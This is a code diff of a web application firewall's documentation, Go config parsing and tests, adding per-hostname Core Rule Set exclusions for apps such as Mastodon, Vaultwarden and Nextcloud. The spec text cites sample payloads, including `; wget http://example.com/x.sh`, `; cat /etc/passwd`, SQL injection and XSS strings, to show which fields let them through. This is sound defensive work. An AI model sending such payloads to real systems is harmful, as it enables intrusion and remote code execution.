     - `description`, of an uploaded file;
-        - `display_name`, `note` and the names and values of
-          `fields_attributes`, for a profile;
-        - `title`, `keyword`, the keywords of `keywords_attributes` and `name`,
-          for lists, filters and hashtags;
-        - `comment`, `text`, `private_comment` and `public_comment`, for
-          reports, notes, warnings and blocks;
+    - `display_name`, `note` and the names and values of `fields_attributes`,
+      for a profile;
+    - `title`, `keyword`, the keywords of `keywords_attributes` and `name`, for
+      lists, filters and hashtags;
+    - `comment`, `text`, `private_comment` and `public_comment`, for reports,
+      notes, warnings and blocks;
     - in JSON, as the web app sends them:
         - `spoiler_text`, `title` and the options of `poll`;
         - `description`, and the descriptions in `media_attributes`;
@@ -1188,14 +1167,13 @@ The changes hold in front of every app, and no setting undoes them:
     - `user[password]`, `user[password_confirmation]` and
       `user[current_password]`;
     - `user[invite_request_attributes][text]`, why someone asks to sign up;
-        - `account_migration[current_password]`,
-          `form_redirect[current_password]` and
-          `form_delete_confirmation[password]`, for moving or deleting an
+    - `account_migration[current_password]`, `form_redirect[current_password]`
+      and `form_delete_confirmation[password]`, for moving or deleting an
       account.
-    - On `/api/v1/accounts`, signing up through the API, `password` and
-      `reason`, in form data or JSON.
-    - On `/inbox`, `/users/<name>/inbox` and `/ap/users/<id>/inbox`, the fields
-      of the object another server delivers in JSON:
+- On `/api/v1/accounts`, signing up through the API, `password` and `reason`, in
+  form data or JSON.
+- On `/inbox`, `/users/<name>/inbox` and `/ap/users/<id>/inbox`, the fields of
+  the object another server delivers in JSON:
     - `content` and `contentMap`, a post;
     - `summary` and `summaryMap`, a content warning or a profile's text;
     - `name`, a profile's name;
@@ -1207,55 +1185,36 @@ The changes hold in front of every app, and no setting undoes them:
   commands in code. A shell command such as `; wget http://example.com/x.sh`
   reaches Mastodon there.
 
-    Two fields of a body skip only 932120 and 932260. A hashtag or a username
-    holds only letters, digits and underscores, so the other two rules do not
-    misfire there:
-    - `name` in JSON on `/api/v1/featured_tags`, a hashtag the web app features
-      on a profile;
-    - `user[account_attributes][username]` on `/auth`, the sign-up form's
-      username.
+Two fields of a body skip only 932120 and 932260. A hashtag or a username holds
+only letters, digits and underscores, so the other two rules do not misfire
+there:
 
-    `user[email]` on `/auth` and the paths under it skips 930120, 932120
-    and 932260. The sign-up, sign-in, password reset and account settings forms
-    send an email address there, such as `python3@example.com`. An address holds
-    no spaces, so it keeps 932250.
+- `name` in JSON on `/api/v1/featured_tags`, a hashtag the web app features on a
+  profile;
+- `user[account_attributes][username]` on `/auth`, the sign-up form's username.
+
+`user[email]` on `/auth` and the paths under it skips 930120, 932120 and 932260.
+The sign-up, sign-in, password reset and account settings forms send an email
+address there, such as `python3@example.com`. An address holds no spaces, so it
+keeps 932250.
 
 On `/api/v1/reports`, the JSON keys `forward` and `forward_to_domains` skip
-    930120 by their names. A report forwarded to another server lists that
-    server in `forward_to_domains`. In the Core Rule Set the keys are named:
+930120 by their names. A report forwarded to another server lists that server in
+`forward_to_domains`. In the Core Rule Set the keys are named:
+
 - `json.forward`;
 - `json.forward_to_domains`;
-    - `json.forward_to_domains.0`, `json.forward_to_domains.1` and so on, one
-      per server.
+- `json.forward_to_domains.0`, `json.forward_to_domains.1` and so on, one per
+  server.
 
-    Each name contains `.forward`, a file in a home folder. So 930120 refused
-    every report the web app sent. The keys' values keep every rule.
-
-    The passwords in a body:
-    - on `/auth`, `/settings/migration` and `/settings/delete`, and the paths
-      under them:
-        - `user[password]`, `user[password_confirmation]` and
-          `user[current_password]`;
-        - `account_migration[current_password]` and
-          `form_redirect[current_password]`;
-        - `form_delete_confirmation[password]`;
-    - `password` on `/api/v1/accounts`, in form data or JSON.
-
-    They skip each rule that random passwords set off:
-
-    920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, 932160,
-    932230, 932250, 932260, 932270, 932280, 932330, 932340, 932370, 932380,
-    933100, 933135, 933180, 933210, 941100, 941120, 941160, 941180, 942100,
-    942151, 942190, 942230, 942290, 942320, 942540, 942550, 944150.
-
-    `' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and
-    `<img src=x onerror=x()>` sent as a password reach Mastodon;
-    `<script>alert(1)</script>` and `javascript:alert(1)` are still refused.
+Each name contains `.forward`, a file in a home folder. So 930120 refused every
+report the web app sent. The keys' values keep every rule.
 
 These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
 applies when the query has a parameter of the same name.
 
 The names of uploaded files skip 932180 on these paths:
+
 - `/api/v1/media` and `/api/v2/media`;
 - `/api/v1/accounts/update_credentials` and `/api/v1/profile`.
 
@@ -1263,35 +1222,34 @@ The changes hold in front of every app, and no setting undoes them:
 file of a type it does not allow.
 
 The `Accept` header skips 920600 on links to profiles and posts, such as
-    `/@admin` and `/@admin/117589811962372311`. It skips it on `/actor` and on
-    the paths under `/users/` and `/ap/users/` too. When someone on another
-    server looks up such a link, that server fetches it with this header:
+`/@admin` and `/@admin/117589811962372311`. It skips it on `/actor` and on the
+paths under `/users/` and `/ap/users/` too. When someone on another server looks
+up such a link, that server fetches it with this header:
 `Accept: application/ld+json; profile="https://www.w3.org/ns/activitystreams", application/activity+json, text/html;q=0.1`.
 It sends the same header to the account or post the link leads to.
 
 Gitea serves `/api/v1/` and Drupal serves `/admin/`. So only Mastodon's own
 resources under them count as Mastodon's paths. Elsewhere these fields keep
-    every rule. An app other than Mastodon that serves one of these paths must
-    check these fields itself.
+every rule.
 
-13. On Vaultwarden's paths, some fields skip the rules that refused ordinary
-    Vaultwarden requests there. `internal/coreruleset/vaultwarden.conf` lists
-    each rule and the request it refused. The apps encrypt vault items, folders,
-    collections and sends before sending them, so those fields skip no rules.
-    The fields below hold plain text.
+Vaultwarden's fixes: on Vaultwarden's paths, some fields skip the rules that
+refused ordinary Vaultwarden requests there.
+`internal/coreruleset/vaultwarden.conf` lists each rule and the request it
+refused. The apps encrypt vault items, folders, collections and sends before
+sending them, so those fields skip no rules. The fields below hold plain text.
 
 Names and password hints skip the lists of system files and command names
 (930120, 932120, 932250, 932260):
-    - `name`, the name of the account, an organization, a group or a security
-      key;
+
+- `name`, the name of the account, an organization, a group or a security key;
 - `masterPasswordHint`, when signing up or changing the master password;
 - `invitation_org_name` and `smtp_from_name`, on the admin page's settings.
 
 These fields hold email addresses and skip 930120, 932120 and 932260:
+
 - `username`, when signing in at `/identity/connect/token`;
 - `email`, `newEmail`, `billingEmail` and the invited `emails`;
-    - the salt fields, such as `masterPasswordUnlock.salt`, which hold the
-      address;
+- the salt fields, such as `masterPasswordUnlock.salt`, which hold the address;
 - `accountUnlockData.masterPasswordUnlockData.email`, when rotating the
   account's encryption key;
 - `smtp_from`, `smtp_username` and `org_creation_users`, on the admin page's
@@ -1300,19 +1258,21 @@ The changes hold in front of every app, and no setting undoes them:
 So `python3@example.com` and `powershell@example.com` pass.
 
 These fields skip the rules on these paths:
+
 - the paths under `/identity/accounts/`;
-    - `/api/accounts/`, `/api/emergency-access/` and `/api/organizations`, and
-      the paths under them;
+- `/api/accounts/`, `/api/emergency-access/` and `/api/organizations`, and the
+  paths under them;
 - `/admin/config`.
 
-    Names and password hints skip them on `/api/two-factor/webauthn` too, where
-    a security key gets its name.
+Names and password hints skip them on `/api/two-factor/webauthn` too, where a
+security key gets its name.
 
 The addresses skip them on these paths too:
+
 - `/identity/connect/token` and `/admin/invite`;
 - `/admin/test/smtp`, where the admin page sends a test email;
-    - the paths under `/api/two-factor/`, where sign-in codes by email are set
-      up and sent;
+- the paths under `/api/two-factor/`, where sign-in codes by email are set up
+  and sent;
 - `/api/auth-requests` and the paths under it, for signing in with another
   device.
 
@@ -1322,47 +1282,50 @@ The changes hold in front of every app, and no setting undoes them:
 `username` in the query of `/api/hibp/breach`, the data breach report, skips
 930120, 932120 and 932260 too.
 
-    The names of uploaded files skip 920120 on the paths that take attachments
-    and file sends:
+The names of uploaded files skip 920120 on the paths that take attachments and
+file sends:
+
 - `/api/ciphers/<id>/attachment` and the paths under it;
 - `/api/ciphers/<id>/attachment-admin`;
 - `/api/sends/<id>/file/<file id>`.
 
-    The apps name such a file by its encrypted name, which holds `=`. Path
-    traversal and PHP scripts in the names are still refused.
+The apps name such a file by its encrypted name, which holds `=`. Path traversal
+and PHP scripts in the names are still refused.
 
-    Elsewhere these fields keep every rule. An app other than Vaultwarden that
-    serves one of these paths must check these fields itself.
+Elsewhere these fields keep every rule.
 
-14. On Nextcloud's paths, some fields skip the rules that refused ordinary
-    Nextcloud requests there, and its WebDAV methods are allowed.
+Nextcloud's fixes: on Nextcloud's paths, some fields skip the rules that refused
+ordinary Nextcloud requests there, and its WebDAV methods are allowed.
 `internal/coreruleset/nextcloud.conf` lists each rule and the request it
 refused.
 
 The sync client and the Files app use WebDAV on these paths:
+
 - `/remote.php/dav/`;
 - `/public.php/dav/`;
 - `/remote.php/webdav/`;
 - `/public.php/webdav/`.
 
 These methods are allowed there, besides those of the first change:
+
 - `PROPFIND` and `PROPPATCH`;
 - `MKCOL`;
 - `COPY` and `MOVE`;
 - `REPORT` and `SEARCH`;
 - `LOCK` and `UNLOCK`, with which the desktop client locks a file.
 
-    A file the Files app or the sync client uploads with `PUT` to these paths is
-    a file, not form data. The Core Rule Set does not read the body of a `PUT`
-    there. So a JSON file holding `python3 -m pytest` uploads, and so does an
-    XML file holding `ls -la /var/log`. The headers, path and query of the `PUT`
-    are still checked.
+A file the Files app or the sync client uploads with `PUT` to these paths is a
+file, not form data. The Core Rule Set does not read the body of a `PUT` there.
+So a JSON file holding `python3 -m pytest` uploads, and so does an XML file
+holding `ls -la /var/log`. The headers, path and query of the `PUT` are still
+checked.
 
-    The cookie `nc_username` holds the name of the account signed in. It skips
-    the lists of system files and command names (930120, 932120, 932250, 932260)
-    on every path, since every request sends it.
+The cookie `nc_username` holds the name of the account signed in. It skips the
+lists of system files and command names (930120, 932120, 932250, 932260) on
+every path, since every request sends it.
 
 These fields skip the same four rules, in the query or the body:
+
 - On `/login`, for signing in:
     - `user` and `password`;
     - `redirect_url`, the page to go to after signing in.
@@ -1377,56 +1340,74 @@ The changes hold in front of every app, and no setting undoes them:
     - `path`, `label` and `shareWith`, for a share.
 
 These fields of a JSON body skip the same four rules:
+
 - On the OCS API, each field of the list above.
-    - `value` on `/apps/theming/ajax/updateStylesheet`, the name and slogan in
-      the theming settings.
-    - `filePath` on `/apps/text/session/<id>/save`, the document the editor
-      saves.
+- `value` on `/apps/theming/ajax/updateStylesheet`, the name and slogan in the
+  theming settings.
+- `filePath` on `/apps/text/session/<id>/save`, the document the editor saves.
 - `name` on `/remote.php/dav/systemtags/`, a new tag.
 
-    `password` in the body of `/login`, the password when signing in, skips each
-    rule that random passwords set off:
-
-    920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, 932160,
-    932230, 932250, 932260, 932270, 932280, 932330, 932340, 932370, 932380,
-    933100, 933135, 933180, 933210, 941100, 941120, 941160, 941180, 942100,
-    942151, 942190, 942230, 942290, 942320, 942540, 942550, 944150.
-
-    It applies only when the query has no `password` parameter. `' OR '1'='1`,
-    `../../etc/passwd`, `; cat /etc/passwd` and `<img src=x onerror=x()>` sent
-    as the password reach Nextcloud; `<script>alert(1)</script>` and
-    `javascript:alert(1)` are still refused.
-
 Some fields hold sentences a person writes:
-    - `note`, a share's note, on `apps/files_sharing/api/v1/shares` of the OCS
-      API and on each share under it;
+
+- `note`, a share's note, on `apps/files_sharing/api/v1/shares` of the OCS API
+  and on each share under it;
 - `message`, an account's status, on
   `apps/user_status/api/v1/user_status/message/custom` of the OCS API;
 - `message` in the JSON body that posts a comment to
   `/remote.php/dav/comments/files/<id>`;
 - the XML body of a `PROPPATCH` that edits a comment;
-    - `autosaveContent` on `/apps/text/session/<id>/save`, the text of a
-      document.
+- `autosaveContent` on `/apps/text/session/<id>/save`, the text of a document.
 
 These fields skip the same four rules. They also skip the rules that refused
-    ordinary sentences there, such as `It is fixed; diff attached` (932125,
-    932230, 932235, 932380). A share's note and a status skip them in the query
-    or the body. A document's text skips two more, which refused a shell script
-    in a code block (932160, 932370). So a shell command such as
-    `; wget http://example.com/x.sh` reaches Nextcloud in these fields. SQL
-    injection, path traversal and script injection are still refused there.
+ordinary sentences there, such as `It is fixed; diff attached` (932125, 932230,
+932235, 932380). A share's note and a status skip them in the query or the body.
+A document's text skips two more, which refused a shell script in a code block
+(932160, 932370). So a shell command such as `; wget http://example.com/x.sh`
+reaches Nextcloud in these fields. SQL injection, path traversal and script
+injection are still refused there.
 
-    The XML body of a `SEARCH` on `/remote.php/dav/`, the Files app's search,
-    skips the four rules.
+The XML body of a `SEARCH` on `/remote.php/dav/`, the Files app's search, skips
+the four rules.
+
+The Calendar and Contacts apps, and CalDAV and CardDAV clients, use these paths:
+
+- `/remote.php/dav/calendars/`, which holds the calendars;
+- `/remote.php/dav/addressbooks/`, which holds the address books.
+
+There:
+
+- `MKCALENDAR`, with which a CalDAV client makes a calendar, is allowed on the
+  calendars' paths only.
+- The XML body of an `MKCOL` names a new calendar or address book. A new address
+  book's body may also hold its description. The body skips the four rules. On
+  the address books' paths, it also skips two rules that refused a description
+  such as `Powershell and python3 contacts; ls -la first` (932125, 932230).
+- The XML body of an `MKCALENDAR` holds the new calendar's name and description.
+  It skips the four rules, and two rules that refused a description such as
+  `Powershell and python3 meetings; ls -la first` (932125, 932230).
+- The body of a `PUT` of an event or a contact is not read, as for any `PUT` on
+  the WebDAV paths. So the Core Rule Set does not check an event's title,
+  location or description, or a contact's names.
+- The Calendar and Contacts apps name the charset twice in the `Content-Type` of
+  the `PUT` that changes an event or a contact. A `PUT` typed `text/calendar` or
+  `text/vcard` skips 920530, the rule against two charsets.
+
+A CalDAV or CardDAV client finds these paths with a `PROPFIND` on
+`/.well-known/caldav` or `/.well-known/carddav`. That method is allowed on those
+two paths.
 
 These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
 applies to a JSON field when the query has a parameter of that name, such as
 `json.message`. Nextcloud's pages are matched at the site root and under
-    `/index.php/`. Elsewhere these fields keep every rule. An app other than
-    Nextcloud that serves one of these paths must check these fields itself.
+`/index.php/`. Elsewhere these fields keep every rule.
 
-The parameter and cookie names in these changes are matched without regard to
-case, as Coraza matches them.
+Each app's fixes switch rules off for some of its fields and cookies. Any other
+app on a hostname that gets those fixes must check those fields and cookies
+itself.
+
+The parameter names in these changes and fixes, and Nextcloud's cookie
+`nc_username`, are matched without regard to case. gitea's two cookies are
+matched exactly.
 
 ### Ban lengths, response and scope
 
@@ -2107,13 +2088,17 @@ image runs it by default (see "Deployment").
 - `SEARCH`
 - `LOCK`
 - `UNLOCK`
+- `MKCALENDAR`
 
 It answers any other method `405`, with no question and no report. The answer's
 `Allow` header names these methods.
 
-Nextcloud's Files app and sync client use the last nine, which are WebDAV
-methods. The Core Rule Set refuses them except where an app's exclusions allow
-them.
+The last ten are WebDAV methods, for Nextcloud:
+
+- its Files app and sync client use the nine from `PROPFIND` to `UNLOCK`;
+- a CalDAV client makes a calendar with `MKCALENDAR`.
+
+The Core Rule Set refuses them except where an app's exclusions allow them.
 
 `rproxy` answers `400`, with no question and no report, to a request with:
 

docs/settings.md

@@ -255,6 +255,31 @@ the request first.
   a range. So does a directive that removes or changes rules as the file loads,
   such as `SecRuleRemoveById`, since none of the Core Rule Set's rules is loaded
   yet. It has no `_FILE` form.
+- `SWW_APPS` (default unset): the apps each hostname serves. A request gets the
+  fixes of its hostname's apps only (see "Attack detection" in
+  [`SPEC.md`](../SPEC.md)).
+    - Entries are separated by semicolons. Each is a hostname, a colon, then one
+      or more apps separated by commas, for example
+      `git.example.com:gitea;blog.example.com:wordpress`.
+    - The supported apps are:
+        - `drupal`;
+        - `gitea`;
+        - `mastodon`;
+        - `mediawiki`;
+        - `nextcloud`;
+        - `vaultwarden`;
+        - `wordpress`.
+    - The request's `Host` is matched by exact name, without its port and
+      without regard to case. There are no wildcards.
+    - A hostname not listed gets no app's fixes, so every rule checks it in
+      full. Set empty, `SWW_APPS` lists no hostname.
+    - Unset, every app's fixes apply to every hostname.
+    - Any of these mistakes stops the start:
+        - an unknown app;
+        - a hostname that is not a DNS name, such as `*.example.com`;
+        - a hostname listed twice;
+        - an app listed twice for one hostname;
+        - an entry without a colon.
 - `SWW_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may get
   in a minute from a rule file, a trap path or the Core Rule Set, a count or
   `off`. The next one bans the client (see "Attack detection" in `SPEC.md`).

internal/config/config.go

@@ -29,6 +29,7 @@ import (
 
 	"sneak.berlin/go/smallwebwaf/internal/alerts"
 	"sneak.berlin/go/smallwebwaf/internal/anomaly"
+	"sneak.berlin/go/smallwebwaf/internal/coreruleset"
 	"sneak.berlin/go/smallwebwaf/internal/remotelog"
 )
 
@@ -235,6 +236,11 @@ type Config struct {
 	WAFExemptPaths            []string
 	WAFBodyLimit              int64
 	CoreRuleSetExclusionsFile string
+	// Apps are the names of the apps each hostname serves, by hostname in
+	// lowercase (SWW_APPS): a request gets only its hostname's apps' fixes
+	// to the Core Rule Set. Apps is nil while SWW_APPS is unset, and every
+	// request gets every app's fixes.
+	Apps map[string][]string
 	// TrapPaths are the paths a request for which is a clear sign of
 	// attack (SWW_TRAP_PATHS), each starting with / and without a ?.
 	TrapPaths []string
@@ -404,6 +410,11 @@ var (
 	errNotTrapPath = errors.New(
 		"is not a path starting with / and without a ?, such as /wp-login.php",
 	)
+	errNotAppsEntry = errors.New(
+		"is not a hostname, : and a list of apps, such as git.example.com:gitea",
+	)
+	errNotHostname      = errors.New("is not a DNS name such as git.example.com")
+	errNotApp           = errors.New("is not an app sww has fixes for; the apps are")
 	errNotWAFMode       = errors.New("is not off, detect or block")
 	errNotParanoiaLevel = errors.New("is not a paranoia level, from 1 to 4")
 	errNotRuleID        = errors.New(
@@ -577,6 +588,7 @@ func FromEnvironment(
 		WAFBodyLimit:   env.wafBodyLimit("SWW_WAF_BODY_LIMIT", off),
 		CoreRuleSetExclusionsFile: env.filePath(
 			"SWW_CORE_RULE_SET_EXCLUSIONS_FILE"),
+		Apps:                 env.apps("SWW_APPS"),
 		TrapPaths:            env.trapPaths("SWW_TRAP_PATHS"),
 		ErrorBurstThreshold:  env.count("SWW_ERROR_BURST_THRESHOLD", "30"),
 		LogRemoteURL:         env.logRemoteURL("SWW_LOG_REMOTE_URL"),
@@ -832,6 +844,25 @@ func (e *environment) pathPrefixes(name, defaultValue string) []string {
 	return prefixes
 }
 
+// apps reads the setting that is the apps each hostname serves. It is nil
+// while the setting is unset, and logged as null, unlike a setting set
+// empty.
+func (e *environment) apps(name string) map[string][]string {
+	value, set := e.lookup(name)
+	if !set {
+		e.settings = append(e.settings, slog.Any(name, nil))
+
+		return nil
+	}
+
+	e.settings = append(e.settings, slog.String(name, value))
+
+	apps, err := parseApps(value)
+	e.check(name, err)
+
+	return apps
+}
+
 // trapPaths reads the setting that is the list of trap paths. It is empty
 // by default.
 func (e *environment) trapPaths(name string) []string {
@@ -1849,6 +1880,65 @@ func parseTrapPaths(value string) ([]string, error) {
 	return paths, nil
 }
 
+// parseApps reads the apps each hostname serves: entries separated by
+// semicolons, each a hostname, a colon, and a comma-separated list of the
+// names coreruleset.AppNames returns, such as
+// git.example.com:gitea;cloud.example.com:nextcloud,wordpress. Each
+// hostname is a DNS name, without a wildcard. It returns them by hostname
+// in lowercase, since a hostname is matched without regard to case. An
+// empty value lists no hostname.
+func parseApps(value string) (map[string][]string, error) {
+	apps := map[string][]string{}
+
+	if strings.TrimSpace(value) == "" {
+		return apps, nil
+	}
+
+	for entry := range strings.SplitSeq(value, ";") {
+		hostname, list, found := strings.Cut(entry, ":")
+		if !found {
+			return nil, fmt.Errorf("%q %w", entry, errNotAppsEntry)
+		}
+
+		hostname = strings.ToLower(strings.TrimSpace(hostname))
+		if hostname == "" {
+			return nil, fmt.Errorf("%q %w", entry, errNotAppsEntry)
+		}
+
+		if !isZone(hostname) {
+			return nil, fmt.Errorf("%q %w", hostname, errNotHostname)
+		}
+
+		if _, listed := apps[hostname]; listed {
+			return nil, fmt.Errorf("%q %w", hostname, errListedTwice)
+		}
+
+		names, err := parseList(list)
+		if err != nil {
+			return nil, err
+		}
+
+		if len(names) == 0 {
+			return nil, fmt.Errorf("%q %w", entry, errNotAppsEntry)
+		}
+
+		for i, name := range names {
+			if !slices.Contains(coreruleset.AppNames(), name) {
+				return nil, fmt.Errorf("%q %w %s", name, errNotApp,
+					strings.Join(coreruleset.AppNames(), ", "))
+			}
+
+			if slices.Contains(names[:i], name) {
+				return nil, fmt.Errorf("%q %w", name, errListedTwice)
+			}
+		}
+
+		apps[hostname] = names
+	}
+
+	return apps, nil
+}
+
 // parseRuleIDs reads a comma-separated list of the ids of Core Rule Set
 // rules, each a whole number above zero and outside firstSetupRuleID to
 // lastSetupRuleID.
@@ -2455,7 +2545,8 @@ func MaskZoneKey(zone string) string {
 	return masked + "." + rest
 }
 
-// isZone reports whether each label of zone is as parseZones takes it.
+// isZone reports whether each label of zone is as parseZones takes it. It
+// also checks the hostnames of SWW_APPS, which are DNS names too.
 func isZone(zone string) bool {
 	for label := range strings.SplitSeq(zone, ".") {
 		badChar := strings.ContainsFunc(label, func(char rune) bool {

internal/config/config_test.go

@@ -89,6 +89,7 @@ const (
 	wafExemptPaths       = "SWW_WAF_EXEMPT_PATHS"
 	wafBodyLimit         = "SWW_WAF_BODY_LIMIT"
 	exclusionsFile       = "SWW_CORE_RULE_SET_EXCLUSIONS_FILE"
+	apps                 = "SWW_APPS"
 	trapPaths            = "SWW_TRAP_PATHS"
 	errorBurstThreshold  = "SWW_ERROR_BURST_THRESHOLD"
 	logRemoteURL         = "SWW_LOG_REMOTE_URL"
@@ -582,6 +583,101 @@ func TestCoreRuleSetSettings(t *testing.T) {
 	}
 }
 
+// gitea is gitea's name in SWW_APPS.
+const gitea = "gitea"
+
+func TestApps(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		env  environment
+		want map[string][]string
+	}{
+		{environment{}, nil},
+		{environment{apps: ""}, map[string][]string{}},
+		{
+			environment{apps: "Git.Example.com:gitea; cloud.example.com : gitea "},
+			map[string][]string{
+				"git.example.com": {gitea}, "cloud.example.com": {gitea},
+			},
+		},
+		{
+			environment{apps: "cloud.example.com:gitea,wordpress"},
+			map[string][]string{"cloud.example.com": {gitea, "wordpress"}},
+		},
+	} {
+		cfg := fromEnvironment(t, tc.env)
+		if !reflect.DeepEqual(cfg.Apps, tc.want) {
+			t.Errorf("%v gave %#v, want %#v", tc.env, cfg.Apps, tc.want)
+		}
+	}
+}
+
+// Unset and set empty, SWW_APPS has opposite effects, so it logs differently.
+func TestUnsetAndEmptyAppsAreLoggedDifferently(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		env  environment
+		want string
+	}{
+		{environment{}, `"` + apps + `":null`},
+		{environment{apps: ""}, `"` + apps + `":""`},
+	} {
+		var out bytes.Buffer
+
+		slog.New(slog.NewJSONHandler(&out, nil)).
+			Info("starting", "settings", fromEnvironment(t, tc.env))
+
+		if !strings.Contains(out.String(), tc.want) {
+			t.Errorf("%v logged %s, want %s in it", tc.env, out.String(), tc.want)
+		}
+	}
+}
+
+func TestInvalidAppsStopsTheStart(t *testing.T) {
+	t.Parallel()
+
+	const (
+		notEntry = " is not a hostname, : and a list of apps, " +
+			"such as git.example.com:gitea"
+		notHostname = " is not a DNS name such as git.example.com"
+	)
+
+	for _, tc := range []struct{ value, want string }{
+		{"git.example.com:gitea;blog.example.com", `"blog.example.com"` + notEntry},
+		{"git.example.com:gitea;", `""` + notEntry},
+		{":gitea", `":gitea"` + notEntry},
+		{"git.example.com:", `"git.example.com:"` + notEntry},
+		{"*.example.com:gitea", `"*.example.com"` + notHostname},
+		{"git.example.com/:gitea", `"git.example.com/"` + notHostname},
+		{"git example.com:gitea", `"git example.com"` + notHostname},
+		{
+			"git.example.com:gitea,jellyfin",
+			`"jellyfin" is not an app sww has fixes for; ` +
+				`the apps are drupal, gitea, mastodon, mediawiki, nextcloud, ` +
+				`vaultwarden, wordpress`,
+		},
+		{
+			"git.example.com:gitea;GIT.example.com:gitea",
+			`"git.example.com" is listed twice`,
+		},
+		{"git.example.com:gitea,gitea", `"gitea" is listed twice`},
+		{"git.example.com:gitea,", `"gitea," has an empty item in its list`},
+	} {
+		t.Run(tc.value, func(t *testing.T) {
+			t.Parallel()
+
+			_, err := config.FromEnvironment(environment{apps: tc.value}.lookupEnv)
+
+			want := apps + ": " + tc.want
+			if err == nil || err.Error() != want {
+				t.Errorf("error %v, want %s", err, want)
+			}
+		})
+	}
+}
+
 func TestWAFBodyLimitOf64K(t *testing.T) {
 	t.Parallel()
 
@@ -2589,6 +2685,7 @@ func TestLogsEachSettingWithItsValue(t *testing.T) {
 		wafExemptPaths:       "",
 		wafBodyLimit:         off,
 		exclusionsFile:       "",
+		apps:                 "", // logged as null, which decodes as ""
 		trapPaths:            "",
 		errorBurstThreshold:  "30",
 		logRemoteURL:         "",

internal/coreruleset/coreruleset.go

@@ -1,9 +1,9 @@
 // Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
 // method, the URL with its query and the headers of a request, and on its
-// body while SWW_WAF_BODY_LIMIT is set, with the fourteen changes sww
-// makes to it and the exclusions in SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as
-// "Attack detection" under "Settings" in SPEC.md describes them. It reads no
-// response.
+// body while SWW_WAF_BODY_LIMIT is set, with the six changes sww
+// makes to it, the fixes for the apps SWW_APPS names, and the exclusions in
+// SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as "Attack detection" under "Settings"
+// in SPEC.md describes them. It reads no response.
 //
 // sww writes only to its state directory, so Coraza is built with
 // its no_fs_access tag, as the Dockerfile and script/build build it: of a
@@ -16,6 +16,8 @@ import (
 	"errors"
 	"fmt"
 	"io"
+	"maps"
+	"net"
 	"net/http"
 	"net/netip"
 	"os"
@@ -32,11 +34,8 @@ import (
 
 // directives are the Core Rule Set as sww runs it, with the
 // paranoia level for %d, bodyDirectives for the first %s while
-// SWW_WAF_BODY_LIMIT is set, the exclusions file for the second,
-// giteaExclusions for the third, wordpressExclusions for the fourth,
-// drupalExclusions for the fifth, mediawikiExclusions for the sixth,
-// mastodonExclusions for the seventh, vaultwardenExclusions for the eighth,
-// and nextcloudExclusions for the ninth.
+// SWW_WAF_BODY_LIMIT is set, the exclusions file for the second, and the
+// directives of every app in apps for the third.
 // Each rule sww adds has an id from 900000 to 900999, the ids the
 // Core Rule Set keeps for the rules that set it up, which
 // SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no
@@ -84,62 +83,28 @@ SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:2,pass,\
 # before the rules of phase 1 too.
 %s
 
-# The eighth change comes before the rules for the same reason.
+# The apps' fixes come before the rules for the same reason.
 %s
 
-# The ninth change comes before the rules for the same reason.
-%s
-
-# So does the tenth.
-%s
-
-# So does the eleventh.
-%s
-
-# So does the twelfth.
-%s
-
-# So does the thirteenth.
-%s
-
-# And the fourteenth.
-%s
-
-# The sixth: only the rules for requests are loaded, and no response is
+# The fifth: only the rules for requests are loaded, and no response is
 # inspected.
 Include @owasp_crs/REQUEST-*.conf
 
 # The third: redirect_uri is not checked for a URL naming an IP address or
-# localhost. Coraza matches a parameter name here, and in the fourth,
-# without regard to case. ARGS holds the fields of a form data or multipart
-# body Coraza reads as well as the query parameters, so a field of one of
-# these names is left out too.
+# localhost. Coraza matches a parameter name here without regard to case.
+# ARGS holds the fields of a form data or multipart body Coraza reads as
+# well as the query parameters, so a field of this name is left out too.
 SecRuleUpdateTargetById 931100 "!ARGS:redirect_uri"
 SecRuleUpdateTargetById 934110 "!ARGS:redirect_uri"
 
-# The fourth: the query parameters in which gitea sends names within a
-# repository or its own records, or a page of its own site, are not
-# checked against the lists of system files, shell paths and command
-# names. Coraza takes one rule id per directive.
-SecRuleUpdateTargetById 930120 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
-    !ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
-    !ARGS:artifactName|!ARGS:redirect_to"
-SecRuleUpdateTargetById 932160 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
-    !ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
-    !ARGS:artifactName|!ARGS:redirect_to"
-SecRuleUpdateTargetById 932260 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
-    !ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
-    !ARGS:artifactName|!ARGS:redirect_to"
-
-# The fifth, for Referer: it is not checked for a Unix command without
-# arguments, for Java starting a process, or for a Java class name. 944130
-# refused every page opened from the page of java.lang.String.md. The
-# cookies are left out in Inspect.
+# The fourth: Referer is not checked for a Unix command without arguments,
+# for Java starting a process, or for a Java class name. 944130 refused
+# every page opened from the page of java.lang.String.md.
 SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer"
 SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer"
 SecRuleUpdateTargetById 944130 "!REQUEST_HEADERS:Referer"
 
-# The seventh: a container image push that reuses a layer names the image
+# The sixth: a container image push that reuses a layer names the image
 # it takes the layer from in the query parameter from, which is not
 # checked for command names. 932260 refused the push of a layer from
 # owner/python3-app.
@@ -189,61 +154,61 @@ SecRule MULTIPART_STRICT_ERROR "!@eq 0" "id:900450,phase:2,pass,\
     severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'"
 `
 
-// giteaExclusions are the eighth change: the fields of gitea's own
-// requests that skip the rules that refused them there, as Coraza
-// directives.
-//
